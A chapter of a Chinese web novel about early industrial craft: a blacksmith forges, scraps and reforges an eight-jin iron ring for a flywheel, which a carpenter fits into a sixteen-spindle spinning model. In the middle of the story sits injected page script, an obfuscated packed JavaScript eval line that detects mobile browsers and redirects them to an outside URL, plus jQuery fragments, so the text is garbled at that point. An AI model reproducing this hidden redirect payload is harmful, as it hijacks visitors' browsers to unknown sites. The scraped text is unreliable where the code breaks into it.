王铁匠铺的门还没开。

    沈秀宁站在门外,听见里面风箱已经在响了。呼哧,呼哧,像一头喘气的牲口。她抬手在铁皮门上拍了三下。

    里面风箱没停。

    她又拍了三下,这次用了力。

    风箱停了。铁皮门拉开一条缝,热气从缝里涌出来,扑在她脸上。王铁匠光着上身,胸前围一条皮围裙,脸上横一道竖一道全是炭灰。

    “沈老板。”

    他往后退了一步,把门拉开。

    铺子里热得像蒸笼。炉火烧了一个多时辰,铁砧旁边的水盆已经冒热气了。铁砧上搁着一个刚打完的铁圈,三斤的,表面还泛着暗红,淬火的水渍还没干。

    “八锭改装的最后一批?”

    王铁匠用火钳夹起那个铁圈,翻了个面。

    “最后一个。二十个,全在这儿了。”

    他把铁圈搁在墙角那堆铁圈上面。二十个三斤铁圈码得整整齐齐,淬火蓝从深到浅排成一排。

    沈秀宁蹲下来看了一会儿。

    “接下来要十六锭的。”

    王铁匠转过身来。

    “多大?”

    “直径三尺。配重八斤。”

    王铁匠愣了一下。他低头看了看墙角那堆三斤铁圈,又看了看炉子,拿起火钳在铁砧上敲了两下。

    “八斤。”

    他把火钳搁下。

    “一天打不完。”

    沈秀宁站起来。

    “我知道。你说过炼铁三天,锻打两天,车圆一天。”

    “那是三斤的。”王铁匠用指节敲了敲铁砧边。“八斤的,锻打至少多加一天。铁条粗,锤不到位,里面会有气泡。”

    他转身走到炉子前面。

    炉膛里铁坯已经烧了一个多时辰。他蹲下来,侧着头看铁的颜色。

    不是看钟,是看火候。

    暗红不够,橘红刚好,亮黄就过了。

    铁坯在炉子里从暗红变成橘红,表面开始发亮。

    王铁匠站起来。

    “到了。”

    他戴上牛皮手套,抄起火钳,夹住铁坯一端往外拉。

    铁坯从炉膛里出来的时候,橘红色的光照亮了半间铺子。热气扑面,沈秀宁往后退了一步。王铁匠没退。他把铁坯搁在铁砧上,左手火钳夹稳,右手抄起大锤。

    大锤落下去。

    铁坯在铁砧上弹了一下,火星溅起来,落在皮围裙上,落在泥地上,落在水盆里嗤的一声灭了。

    第二锤,第三锤。

    大锤把铁坯敲扁,锤面每一下都落在同一个位置。铁坯在锤子底下一点一点变薄,橘红色慢慢暗下去。王铁匠把铁坯夹回炉子,转头冲里面喊了一声。

    “拉!”

    他儿子从炉子后面探出头来。十四五岁,两只手攥着风箱把手,一推一拉,炉火跟着一明一暗。火光映在他脸上,额头上全是汗珠子,顺着下巴往下滴。

    铁坯重新烧到橘红色。

    夹出来,继续锤。

    王铁匠抡大锤,儿子抡小锤。大锤把铁坯敲扁,小锤修边。大锤落下去嘭的一声闷响,小锤跟着叮的一下脆响。嘭,叮。嘭,叮。两个人的节奏咬在一起。

    反复锤了十几轮。

    铁条渐渐弯成弧形。

    王铁匠用火钳夹着铁条的一端,搁在铁砧的牛角尖上。手腕一压,铁条沿着牛角尖弯出一个圆弧。他把铁条翻了个面,在另一头也弯了一下。两个圆弧对在一起,中间还差一截。

    “接环。”

    他把铁条的两端同时塞进炉子。

    两端在炉膛里烧到亮黄色,夹出来,叠在一起。大锤落下去,两端的铁融成一体。接环处冒着火星。王铁匠锤了十几下才停手。

    接不好,转快了铁圈会断。

    他把接好的铁圈夹起来,翻来覆去看了两遍。

    接环处——他的手指停住了。

    铁圈接环的地方,有一条细缝。不深,但肉眼能看见。在淬火蓝的表面底下,像一根头发丝。

    王铁匠没说话。他把铁圈举到窗口,对着光又看了一遍。

    细缝还在。

    他把铁圈搁回铁砧上,声音很平。

    “里面有气泡。锻打的时候没锤透。”

    沈秀宁蹲下来,用手指在细缝上摸了一下。铁圈还是热的,细缝的边缘有点硌手。

    “能用吗?”

    “转快了会裂。”

    王铁匠拿起火钳,在铁砧上敲了一下。

    “这个报废。”

    铺子里安静了几秒。风箱停了,炉火在炉膛里闷闷地烧。王铁匠儿子从炉子后面探出半个头,看了看他爹,又把头缩回去。

    王铁匠把报废的铁圈搁在墙角。

    “重新炼。三天。”

    他看了沈秀宁一眼。

    “你还等吗?”

    沈秀宁站起来,拍了拍膝盖上的灰。

    “等。”

    王铁匠点了点头。他转身走到料堆前面,从里面挑了一块新的铁坯。这块比上一块大了一圈,表面没有锈斑。

    “这一块锻打多加半天。锤透了,不会再起泡。”

    他把铁坯塞进炉子。

    “拉。”

    儿子攥紧风箱把手,一推一拉。炉火重新亮起来,橘红色的光映在王铁匠脸上,炭灰底下的皱纹一道一道全出来了。

    三天后。

    新铁坯锻打了整整两天半。每一轮锤完之后王铁匠都翻看一遍,手指在铁条表面一寸一寸摸过去。接环处叠烧了两次,第一次叠完发现有砂眼,拆开重来。

    淬火的时候沈秀宁站在旁边。

    铁圈烧到亮红色,夹起来往水池里一浸。水炸开一团白汽,嗤的一声从水面冲上来,糊了半间铺子。白汽散开之后,铁圈表面泛出一层暗蓝。

    淬火纹路从接环处往两边延伸,均匀,没有断点。

    车圆又用了一天。

    铁圈卡在脚踏车床上。王铁匠摇着转轮,车刀贴着铁圈表面走,削下一圈圈螺旋状的铁屑。铁屑落在车床底下,卷成一团,还冒着热气。

    沈秀宁蹲在旁边看。

    铁屑落在她鞋面上,烫出一个小洞。她没动。

    车刀走了最后一圈。王铁匠停下来,用手指摸了一圈铁圈表面。光滑,没有毛刺,圆度均匀。他把铁圈从车床上卸下来,抱在手里掂了掂。

    “这一个,顶三个小的。加返工那一个,顶六个。”

    他把铁圈用草绳捆好,油纸裹了两层。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691657|207911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “让你等了五天。”

    沈秀宁接过铁圈。草绳勒得紧,油纸裹了两层,抱在手里沉甸甸的往下坠。八斤铁,等了五天,报废了一个,重做了一个。

    她把铁圈抱进院子。

    沈大柱正在锯架前面刨一块松木板。刨子推过去,木花卷起来,落在脚边。他抬头看见沈秀宁怀里的油纸包,把刨子搁下,接过铁圈。

    拆草绳。

    揭油纸。

    八斤铁圈露出来。表面发蓝,淬火纹路从接环处往两边延伸,均匀。沈大柱翻来覆去看了两遍,用手指在接环处敲了两下。声音清脆,没有闷响。

    “没有裂纹。这次锤透了。”

    他把三尺柞木飞轮从锯架底下抱出来。

    飞轮是昨天做好的。柞木,三尺直径,中间掏了一个圆槽,尺寸和铁圈一模一样。松木热胀冷缩的比例他算了三遍。夏天装的铁圈比冬天紧一丝,冬天松一丝,铜套咬合面留了半分余量。

    沈大柱把铁圈往飞轮中间的圆槽里一嵌。

    铁圈正好卡进去,不紧不松。铜套咬住铁轴,发出一声细响。

    他把飞轮抱到十六锭模型前面。

    模型还搁在锯架上。松木框架,双层锭子座,上下各八个锭杆孔。传动大轮二尺八,皮带槽已经刨好了。从第二十八章画在棉布上的三个方案,到松木拼框架,到飞轮装上。十六锭从图纸走到了现实。

    沈大柱把飞轮挂上传动轴。

    拧紧轴套螺丝。手指关节发了白,拧到最后一圈退回来半圈,再拧紧。

    他用手拨了一下飞轮。

    飞轮转了一圈。

    两圈。

    三圈。

    慢慢停下来。

    沈大柱伸手摸了摸轴套。微温,不烫手。铜套吃住了,没有涩感。传动大轮和飞轮之间的皮带绷紧了,手指按上去往下陷半寸。

    他把十六根锭杆从工具箱里拿出来。

    一根一根插进锭杆孔里。

    每根锭杆插进去,用手指转一下。锭杆和锭杆孔之间的配合,紧了转不动,松了会晃。十六个孔,他一个一个转过去,转了十六下。

    十六根锭杆全部插上。

    双层锭子座,上下各八根,排列整齐。在午后的光线里,锭杆表面泛着一层铁灰色的微光。

    沈秀宁站在模型前面。

    五锭靠手动引纱。八锭靠单手。十二锭靠双手交替。全卡在人力上限上。十六锭靠飞轮蓄力,把脚力从四十斤摊平成二十五斤。

    这是分水岭。

    沈大柱蹲在地上,最后一次检查每个锭杆孔的间隙。

    手指搭在锭杆上,转一下,停一下。转到最后一根的时候,他的手指顿了一下。那根锭杆比别的紧了一丝,退出来重新插进去,还是紧。

    他站起来,从工具箱里拿了一块细砂布。

    “这根间隙偏小。明天试机前磨一下。”

    他把砂布搁在样机旁边。

    沈秀宁看了一眼那根锭杆。

    “明天试机。”

    沈大柱把刨子搁在锯架上,点了点头。

    十六根锭杆在暮色里泛着铁灰色的微光。飞轮的影子拖在院子的青石板上。有一根锭杆还没磨到位,明天能不能转起来,还不知道。